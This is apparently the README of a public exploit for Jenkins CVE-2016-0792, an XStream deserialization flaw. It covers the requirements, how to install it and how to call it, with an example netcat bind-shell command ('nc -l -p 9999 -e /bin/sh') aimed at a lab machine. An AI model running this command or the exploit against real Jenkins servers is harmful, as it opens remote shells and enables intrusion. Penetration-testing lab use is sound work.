Jenkins CVE-2016-0792 Deserialization Remote Exploit
What is CVE-2016-0792?
Multiple unspecified API endpoints in Jenkins before 1.650 and LTS before 1.642.2 allow remote authenticated users to execute arbitrary code via serialized data in an XML file, related to XStream and groovy.util.Expando.
Exploit
Jenkins CVE-2016-0792
Exploit for Jenkins serialization vulnerability – CVE-2016-0792
More information can be found here
Requirements
- Python 3.6.x
- requests library is required for this exploit to work
sudo pip install requests
- git clone https://github.com/jpiechowka/jenkins-cve-2016-0792.git
Usage
python3
from exploit import exploit
exploit(url, command)
Where url is url to jenkins server and command is command to execute
Example
exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')
This will run nc and listen on port 9999 on vulnerable machine
For demonstration purposes I will be running ISO from Pentester Lab